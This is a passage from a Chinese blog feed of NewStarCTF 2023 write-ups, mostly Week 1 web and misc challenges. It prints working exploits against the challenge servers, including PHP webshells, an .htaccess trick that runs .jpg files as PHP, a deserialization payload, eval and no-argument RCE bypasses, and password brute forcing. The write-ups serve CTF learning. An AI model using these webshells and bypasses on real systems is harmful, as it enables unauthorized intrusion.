class="hljs-string">"/cat|tac|more|tail|base/i"</span>, <span class="hljs-variable">$this</span>->cmd)) {<br> @<span class="hljs-title function_ invoke__">system</span>(<span class="hljs-variable">$this</span>->cmd);<br> }<br> }<br>}<br><br><span class="hljs-variable">$a</span> = <span class="hljs-keyword">new</span> evil;<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">urlencode</span>(<span class="hljs-title function_ invoke__">serialize</span>(<span class="hljs-variable">$a</span>));<br><span class="hljs-meta">?></span><br></code></pre></td></tr></table></figure><p>使用单引号绕过过滤,拿到<code>O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A36%3A%22ca%27%27t+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D</code></p><p>得到flag:<code>flag{f1e483d0-09a1-4376-b00b-60b3ea9422df}</code></p><h2 id="Upload-again"><a href="#Upload-again" class="headerlink" title="Upload again!"></a>Upload again!</h2><p>上传php,发现有黑名单。</p><p>直接上传.htaccess</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs htaccess">AddType application/x-httpd-php .jpg<br></code></pre></td></tr></table></figure><p>将jpg解析为php</p><p>上传1.jpg,发现含有<code><?</code>的文件被过滤,使用JavaScript标签绕过。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><script language=<span class="hljs-string">"php"</span>><span class="hljs-title function_ invoke__">system</span>(<span class="hljs-variable">$GET</span>[<span class="hljs-number">0</span>]);</script><br></code></pre></td></tr></table></figure><p>可以正常解析,剩下无脑直接找flag即可。</p><h2 id="R-C-E"><a href="#R-C-E" class="headerlink" title="R!!C!!E!!"></a>R!!C!!E!!</h2><p>打开容器发现<code>Welcome To NewstarCTF 2023,Nothing here,or you wanna to find some leaked information?</code></p><p>信息泄露,猜测是git泄露,使用GitHack工具</p><p>得到bo0g1pop.php,内容为</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-keyword">if</span> (<span class="hljs-string">';'</span> === <span class="hljs-title function_ invoke__">preg_replace</span>(<span class="hljs-string">'/[^\W]+\((?R)?\)/'</span>, <span class="hljs-string">''</span>, <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'star'</span>])) {<br> <span class="hljs-keyword">if</span>(!<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">'/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i'</span>,<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'star'</span>])){<br> <span class="hljs-keyword">eval</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'star'</span>]);<br> }<br>}<br></code></pre></td></tr></table></figure><p>分析逻辑,是无参数RCE,从start.sh可以看到flag在<code>/flag</code>中。</p><p>首先需要构造出<code>/flag</code>,使用<code>getallheaders</code>函数得到所有http Header</p><p>发现User-Agent在第二个,可以使用<code>next(getallheaders())</code>得到值。</p><p>改UA为/flag,得到<code>/flag</code>字符串,接着使用<code>show_source</code>函数得到flag内容。</p><p>完整payload:<code>/bo0g1pop.php?star=show_source(next(getallheaders()));</code></p><p>得到flag:<code>flag{34b4ffdf-5637-46ee-a734-30e031d0b73f}</code></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>贴一个官方wp:<a href="https://shimo.im/docs/Dy5ekHJhKo0ap5v3/">https://shimo.im/docs/Dy5ekHJhKo0ap5v3/</a></p><p>其他方向没怎么研究,太忙了,只抽出来一个小时写了个Web</p>]]></content>
<categories>
<category>WriteUp</category>
</categories>
<tags>
<tag>web</tag>
</tags>
</entry>
<entry>
<title>NewStarCTF 2023-WEEK1 WriteUp</title>
<link href="/2023/09/26/2023newstarctfWeek1/"/>
<url>/2023/09/26/2023newstarctfWeek1/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>好久没碰ctf了,感觉手有点生,正好最近newstar新生赛,过来凑个热闹。</p><h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><p>解题 7/7</p><h3 id="泄漏的秘密"><a href="#泄漏的秘密" class="headerlink" title="泄漏的秘密"></a>泄漏的秘密</h3><p>介绍里面写了“粗心的网站管理员总会泄漏一些敏感信息在Web根目录下”,一眼信息泄露</p><p>打开容器,出现<code>粗心的管理员泄漏了一些敏感信息,请你找出他泄漏的两个敏感信息!</code>,/robots.txt一试直接爆出flag的前半段,/<a href="http://www.zip直接把源码泄露了./">www.zip直接把源码泄露了。</a></p><p>拿到flag:<code>flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}</code></p><h3 id="Begin-of-Upload"><a href="#Begin-of-Upload" class="headerlink" title="Begin of Upload"></a>Begin of Upload</h3><p>一眼文件上传,写一个php马试一下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span> <span class="hljs-title function_ invoke__">system</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'cmd'</span>]);<br></code></pre></td></tr></table></figure><p>发现文件后缀有白名单,但是验证是在前端,直接burp抓包改一下文件名就能绕</p><h3 id="Begin-of-HTTP"><a href="#Begin-of-HTTP" class="headerlink" title="Begin of HTTP"></a>Begin of HTTP</h3><p>打开容器,发现要求请使用 GET方式 来给 ctf 参数传入任意值来通过这关</p><p>加个参数试一下<code>http://node4.buuoj.cn:25055/?ctf=1</code></p><p>发现<code>很棒,如果我还想让你以POST方式来给我传递 secret 参数你又该如何处理呢? 如果你传入的参数值并不是我想要的secret,我也不会放你过关的 或许你可以找一找我把secret藏在了哪里</code></p><p>ctrl+U看下源码,发现注释<code><!-- Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk) --></code></p><p>base64解码一下,得到secret是n3wst4rCTF2023g00000d</p><p>HackBar插件传一下POST参数</p><p>接下来发现<code>很强,现在我需要验证你的 power 是否是 ctfer ,只有ctfer可以通过这关</code></p><p>Cookie改一下power改为ctfer</p><p>发现<code>你已经完成了本题过半的关卡,现在请使用 NewStarCTF2023浏览器 来通过这关!</code></p><p>把User-Agent改为NewStarCTF2023</p><p>发现<code>希望你是从 newstarctf.com 访问到这个关卡的</code></p><p>加个Referer: <code>newstarctf.com</code> </p><p>最后发现<code>最后一关了!只有 本地用户 可以通过这一关</code></p><p>加一个Header:<code>X-Real-IP: 127.0.0.1</code>,本来以为这道题是要加X-Forwarded-For,结果加X-Forwarded-For发现好像不太行</p><p>拿到flag:<code>flag{221fb558-9c0a-4b07-bac6-3af03cf7393e}</code></p><h3 id="ErrorFlask"><a href="#ErrorFlask" class="headerlink" title="ErrorFlask"></a>ErrorFlask</h3><p>这道题有点奇怪,看到flask以为是SSTI,结果打开容器随便传个<code>number1={{}}</code>,发现DEBUG模式没关,结果flag直接写到源代码里直接能看见,直接拿到flag:<code>flag{Y0u_@re_3enset1ve_4bout_deb8g}</code></p><h3 id="Begin-of-PHP"><a href="#Begin-of-PHP" class="headerlink" title="Begin of PHP"></a>Begin of PHP</h3><p>上来容器直接给出代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">error_reporting</span>(<span class="hljs-number">0</span>);<br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key1'</span>]) && <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key2'</span>])){<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"=Level 1=<br>"</span>;<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key1'</span>] !== <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key2'</span>] && <span class="hljs-title function_ invoke__">md5</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key1'</span>]) == <span class="hljs-title function_ invoke__">md5</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key2'</span>])){<br> <span class="hljs-variable">$flag1</span> = True;<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-keyword">die</span>(<span class="hljs-string">"nope,this is level 1"</span>);<br> }<br>}<br><br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$flag1</span>){<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"=Level 2=<br>"</span>;<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'key3'</span>])){<br> <span class="hljs-keyword">if</span>(<span class="hljs-title function_ invoke__">md5</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'key3'</span>]) === <span class="hljs-title function_ invoke__">sha1</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'key3'</span>])){<br> <span class="hljs-variable">$flag2</span> = True;<br> }<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-keyword">die</span>(<span class="hljs-string">"nope,this is level 2"</span>);<br> }<br>}<br><br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$flag2</span>){<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"=Level 3=<br>"</span>;<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key4'</span>])){<br> <span class="hljs-keyword">if</span>(<span class="hljs-title function_ invoke__">strcmp</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key4'</span>],<span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-string">"/flag"</span>)) == <span class="hljs-number">0</span>){<br> <span class="hljs-variable">$flag3</span> = True;<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-keyword">die</span>(<span class="hljs-string">"nope,this is level 3"</span>);<br> }<br> }<br>}<br><br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$flag3</span>){<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"=Level 4=<br>"</span>;<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key5'</span>])){<br> <span class="hljs-keyword">if</span>(!<span class="hljs-title function_ invoke__">is_numeric</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key5'</span>]) && <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'key5'</span>] > <span class="hljs-number">2023</span>){<br> <span class="hljs-variable">$flag4</span> = True;<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-keyword">die</span>(<span class="hljs-string">"nope,this is level 4"</span>);<br> }<br> }<br>}<br><br><span class="hljs-keyword">if</span>(<span class="hljs-variable">$flag4</span>){<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"=Level 5=<br>"</span>;<br> <span class="hljs-title function_ invoke__">extract</span>(<span class="hljs-variable">$_POST</span>);<br> <span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$_POST</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$var</span>){<br> <span class="hljs-keyword">if</span>(<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">"/[a-zA-Z0-9]/"</span>,<span class="hljs-variable">$var</span>)){<br> <span class="hljs-keyword">die</span>(<span class="hljs-string">"nope,this is level 5"</span>);<br> }<br> }<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$flag5</span>){<br> <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-string">"/flag"</span>);<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-keyword">die</span>(<span class="hljs-string">"nope,this is level 5"</span>);<br> }<br>}<br></code></pre></td></tr></table></figure><p>先看level1,要保证<code>$_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])</code>为 True,发现md5直接的判断是==而不是===,直接0e碰撞即可,随便找两个<code>240610708</code>和<code>QLTHNDT</code>就行。</p><p>再看level2,保证<code>md5($_POST['key3']) === sha1($_POST['key3']</code>为 True,中间是===,没办法再用level1的0e碰撞了,这里一个小技巧直接POST传<code>key3[]=</code>即可,这里key3直接被识别成数组了,导致两个函数都返回false。</p><p>接下来level3,保证<code>strcmp($_GET['key4'],file_get_contents("/flag")) == 0</code>为 True,继续用<code>key4[]=</code>,用数组的方式让其返回false</p><p>然后level4,保证<code>!is_numeric($_GET['key5']) && $_GET['key5'] > 2023</code>为 True,传<code>key5=2024a</code>,当它与2023比较时就会比它大,而且还识别不出它是数字。</p><p>最后level5,要保证它不能全是字母和数字,还要保证flag5变量是True,POST传<code>flag5=-</code>即可。</p><p>拿到flag:<code>flag{35c5a11f-c06d-4178-9fb8-b4f97d3e9796}</code></p><h3 id="R-C-E"><a href="#R-C-E" class="headerlink" title="R!C!E!"></a>R!C!E!</h3><p>打开容器,贴上代码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'password'</span>])&&<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'e_v.a.l'</span>])){<br> <span class="hljs-variable">$password</span>=<span class="hljs-title function_ invoke__">md5</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'password'</span>]);<br> <span class="hljs-variable">$code</span>=<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'e_v.a.l'</span>];<br> <span class="hljs-keyword">if</span>(<span class="hljs-title function_ invoke__">substr</span>(<span class="hljs-variable">$password</span>,<span class="hljs-number">0</span>,<span class="hljs-number">6</span>)===<span class="hljs-string">"c4d038"</span>){<br> <span class="hljs-keyword">if</span>(!<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">"/flag|system|pass|cat|ls/i"</span>,<span class="hljs-variable">$code</span>)){<br> <span class="hljs-keyword">eval</span>(<span class="hljs-variable">$code</span>);<br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>要保证password的md5前6位是<code>c4d038</code>,同时code中不能含有一些敏感的单词。</p><p>这里贴上我跑MD5的脚本,写的不好,但是勉强能跑</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> hashlib<br><span class="hljs-keyword">import</span> itertools<br><span class="hljs-keyword">import</span> string<br><span class="hljs-keyword">import</span> threading<br><br><span class="hljs-comment"># 需要遍历的字符集</span><br>characters = string.digits + string.ascii_letters<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">generate_combinations</span>(<span class="hljs-params">length</span>):<br> <span class="hljs-keyword">for</span> combo <span class="hljs-keyword">in</span> itertools.product(characters, repeat=length):<br> <span class="hljs-keyword">yield</span> <span class="hljs-string">''</span>.join(combo)<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">calculate_md5</span>(<span class="hljs-params">string</span>):<br> md5_hash = hashlib.md5() <span class="hljs-comment"># 创建MD5对象</span><br> md5_hash.update(string.encode()) <span class="hljs-comment"># 更新对象哈希值</span><br> md5_digest = md5_hash.hexdigest() <span class="hljs-comment"># 获取哈希值的十六进制表示</span><br> <span class="hljs-keyword">return</span> md5_digest<br><br><span class="hljs-keyword">def</span> <span class="hljs-title function_">find_md5_match</span>(<span class="hljs-params">prefix</span>):<br> <span class="hljs-keyword">for</span> combo <span class="hljs-keyword">in</span> generate_combinations(<span class="hljs-built_in">len</span>(prefix)):<br> string = prefix + combo<br> md5 = calculate_md5(string)<br> <span class="hljs-keyword">if</span> md5[<span class="hljs-number">0</span>:<span class="hljs-number">6</span>] == <span class="hljs-string">'c4d038'</span>:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">f"<span class="hljs-subst">{string}</span> MD5哈希值: <span class="hljs-subst">{md5}</span>"</span>)<br><br><span class="hljs-comment"># 测试计算MD5</span><br>input_string = <span class="hljs-string">"0"</span><br><br>threads = []<br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">6</span>): <span class="hljs-comment"># 根据实际情况设置线程数量</span><br> prefix = input_string * i<br> thread = threading.Thread(target=find_md5_match, args=(prefix,))<br> threads.append(thread)<br> thread.start()<br><br><span class="hljs-keyword">for</span> thread <span class="hljs-keyword">in</span> threads:<br> thread.join()<br><br><span class="hljs-built_in">print</span>(<span class="hljs-string">f"<span class="hljs-subst">{input_string}</span>dddMD5哈希值: <span class="hljs-subst">{md5}</span>"</span>)<br></code></pre></td></tr></table></figure><p>随便跑出来一个<code>0000006sNj</code></p><p>接着直接传</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">e[v.a.l=<span class="hljs-keyword">echo</span> `cat /f*`<br></code></pre></td></tr></table></figure><p>这里注意要用[代替_,这算是一个php特性。</p><h3 id="EasyLogin"><a href="#EasyLogin" class="headerlink" title="EasyLogin"></a>EasyLogin</h3><p>打开容器,看到一个登录注册页面,拿burp抓包,最开始以为是sql注入,但是注入发现提示不是注入。</p><p>随便注册一个账号admin1,登录后发现是一个静态的shell,javascript代码审计一下,发现</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-string">"echo -en '\\nnewstar\\nnewstar2023' >> weak-passwd.txt && \\\nexport PASSWORD=`shuf weak-passwd.txt | head -n 1` && \\\nrm -rf weak-passwd.txt"</span>),<span class="hljs-title function_">applyAutoComplete</span>(le),<span class="hljs-keyword">await</span> <span class="hljs-title function_">sleep</span>(<span class="hljs-number">800</span>),term.<span class="hljs-title function_">writeln</span>(<span class="hljs-variable constant_">WELCOME_TEXT</span>),<span class="hljs-title function_">readInput</span>(),le.<span class="hljs-title function_">detach</span>(),<span class="hljs-keyword">await</span> <span class="hljs-title function_">sleep</span>(<span class="hljs-number">200</span>),le.<span class="hljs-title function_">attach</span>(),le.<span class="hljs-title function_">pushInput</span>(<span class="hljs-string">"chat"</span>),le.<span class="hljs-title function_">confirm</span>(),<span class="hljs-keyword">await</span> <span class="hljs-title function_">sleep</span>(<span class="hljs-number">200</span>),le.<span class="hljs-title function_">pushInput</span>(<span class="hljs-string">"你会说中文吗?"</span>)<br></code></pre></td></tr></table></figure><p>提示weak-passwd.txt弱口令,再加上注册时发现admin用户已经被注册,使用burp直接爆破密码。</p><img src="/2023/09/26/2023newstarctfWeek1/burp.png" class=""><p>发现admin弱口令是000000</p><p>登录,并拦截返回包,javascript审计,发现提示</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-string">"echo Maybe you need BurpSuite."</span><br></code></pre></td></tr></table></figure><p>清除cookie重新登录,拦截passport的返回包,得到flag:<code>flag{97222ac1-f6d3-49c1-b1e6-05778420cfe2}</code></p><h2 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h2><p>解题 5/6</p><h3 id="CyberChef’s-Secret"><a href="#CyberChef’s-Secret" class="headerlink" title="CyberChef’s Secret"></a>CyberChef’s Secret</h3><p>签到题,打开后看到<code>M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=</code>,进入cyberchef.org,一把梭,拿到flag:<code>flag{Base_15_S0_Easy_^_^}</code>。</p><h3 id="机密图片"><a href="#机密图片" class="headerlink" title="机密图片"></a>机密图片</h3><p>zsteg工具</p><p>执行<code>zsteg secret.png</code>得到</p><figure class="highlight gams"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs gams"><span class="hljs-function"><span class="hljs-title">b1</span></span>,r,lsb,xy .. text: <span class="hljs-string">":=z^rzwPQb"</span><br><span class="hljs-function"><span class="hljs-title">b1</span></span>,g,lsb,xy .. <span class="hljs-keyword">file</span>: OpenPGP Public Key<br><span class="hljs-function"><span class="hljs-title">b1</span></span>,b,lsb,xy .. <span class="hljs-keyword">file</span>: OpenPGP Secret Key<br><span class="hljs-function"><span class="hljs-title">b1</span></span>,rgb,lsb,xy .. text: <span class="hljs-string">"flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}"</span><br><span class="hljs-function"><span class="hljs-title">b3</span></span>,b,lsb,xy .. <span class="hljs-keyword">file</span>: very old <span class="hljs-number">16</span>-bit-int big-endian archive<br><span class="hljs-function"><span class="hljs-title">b4</span></span>,bgr,msb,xy .. <span class="hljs-keyword">file</span>: MPEG ADTS, layer I, v2, <span class="hljs-number">112</span> kbps, <span class="hljs-number">24</span> kHz, JntStereo<br></code></pre></td></tr></table></figure><p>拿到flag:<code>flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}</code></p><h3 id="流量!鲨鱼!"><a href="#流量!鲨鱼!" class="headerlink" title="流量!鲨鱼!"></a>流量!鲨鱼!</h3><p>wireshark打开发现流量<code>1.php%3fcmd=ls%20-al%20</code>内容为</p><figure class="highlight tap"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs tap">total 80<br>drwxr-xr-x <span class="hljs-number"> 1 </span>root root<span class="hljs-number"> 4096 </span>Aug<span class="hljs-number"> 19 </span>06:17 .<br>drwxr-xr-x <span class="hljs-number"> 1 </span>root root<span class="hljs-number"> 4096 </span>Aug<span class="hljs-number"> 19 </span>06:17 ..<br>-rwxr-xr-x <span class="hljs-number"> 1 </span>root root <span class="hljs-number"> 0 </span>Aug<span class="hljs-number"> 19 </span>06:08 .dockerenv<br>-rw-r--r-- <span class="hljs-number"> 1 </span>root root <span class="hljs-number"> 39 </span>Aug<span class="hljs-number"> 19 </span>06:17 .ffffllllllll11111144444GGGGGG<br>drwxr-xr-x <span class="hljs-number"> 1 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 21 </span><span class="hljs-number"> 2021 </span>bin<br>drwxr-xr-x <span class="hljs-number"> 2 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 11 </span><span class="hljs-number"> 2021 </span>boot<br>drwxr-xr-x <span class="hljs-number"> 5 </span>root root <span class="hljs-number"> 360 </span>Aug<span class="hljs-number"> 19 </span>06:08 dev<br>drwxr-xr-x <span class="hljs-number"> 1 </span>root root<span class="hljs-number"> 4096 </span>Aug<span class="hljs-number"> 19 </span>06:08 etc<br>drwxr-xr-x <span class="hljs-number"> 2 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 11 </span><span class="hljs-number"> 2021 </span>home<br>drwxr-xr-x <span class="hljs-number"> 1 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 21 </span><span class="hljs-number"> 2021 </span>lib<br>drwxr-xr-x <span class="hljs-number"> 2 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 20 </span><span class="hljs-number"> 2021 </span>lib64<br>drwxr-xr-x <span class="hljs-number"> 2 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 20 </span><span class="hljs-number"> 2021 </span>media<br>drwxr-xr-x <span class="hljs-number"> 2 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 20 </span><span class="hljs-number"> 2021 </span>mnt<br>drwxr-xr-x <span class="hljs-number"> 2 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 20 </span><span class="hljs-number"> 2021 </span>opt<br>dr-xr-xr-x<span class="hljs-number"> 248 </span>root root <span class="hljs-number"> 0 </span>Aug<span class="hljs-number"> 19 </span>06:08 proc<br>drwx------ <span class="hljs-number"> 1 </span>root root<span class="hljs-number"> 4096 </span>Aug<span class="hljs-number"> 19 </span>06:17 root<br>drwxr-xr-x <span class="hljs-number"> 1 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 21 </span><span class="hljs-number"> 2021 </span>run<br>drwxr-xr-x <span class="hljs-number"> 1 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 21 </span><span class="hljs-number"> 2021 </span>sbin<br>drwxr-xr-x <span class="hljs-number"> 2 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 20 </span><span class="hljs-number"> 2021 </span>srv<br>dr-xr-xr-x <span class="hljs-number"> 13 </span>root root <span class="hljs-number"> 0 </span>Aug<span class="hljs-number"> 19 </span>06:08 sys<br>drwxrwxrwt <span class="hljs-number"> 1 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 21 </span><span class="hljs-number"> 2021 </span>tmp<br>drwxr-xr-x <span class="hljs-number"> 1 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 20 </span><span class="hljs-number"> 2021 </span>usr<br>drwxr-xr-x <span class="hljs-number"> 1 </span>root root<span class="hljs-number"> 4096 </span>Dec<span class="hljs-number"> 21 </span><span class="hljs-number"> 2021 </span>var<br></code></pre></td></tr></table></figure><p>发现啊flag名字<code>.ffffllllllll11111144444GGGGGG</code></p><p>启动过滤器<code>frame contains ffffllllllll11111144444GGGGGG</code>,追踪HTTP流,看到flag的两次base64编码:<code>Wm14aFozdFhjbWt6TldnMGNtdGZNWE5mZFRVelpuVnNYMkkzTW1FMk1EazFNemRsTm4wSwo=</code>,base64解密两次得到:<code>flag{Wri35h4rk_1s_u53ful_b72a609537e6}</code></p><h3 id="压缩包们"><a href="#压缩包们" class="headerlink" title="压缩包们"></a>压缩包们</h3><p>下载后发现打不开</p><p>使用binwalk,<code>binwalk -e task_1 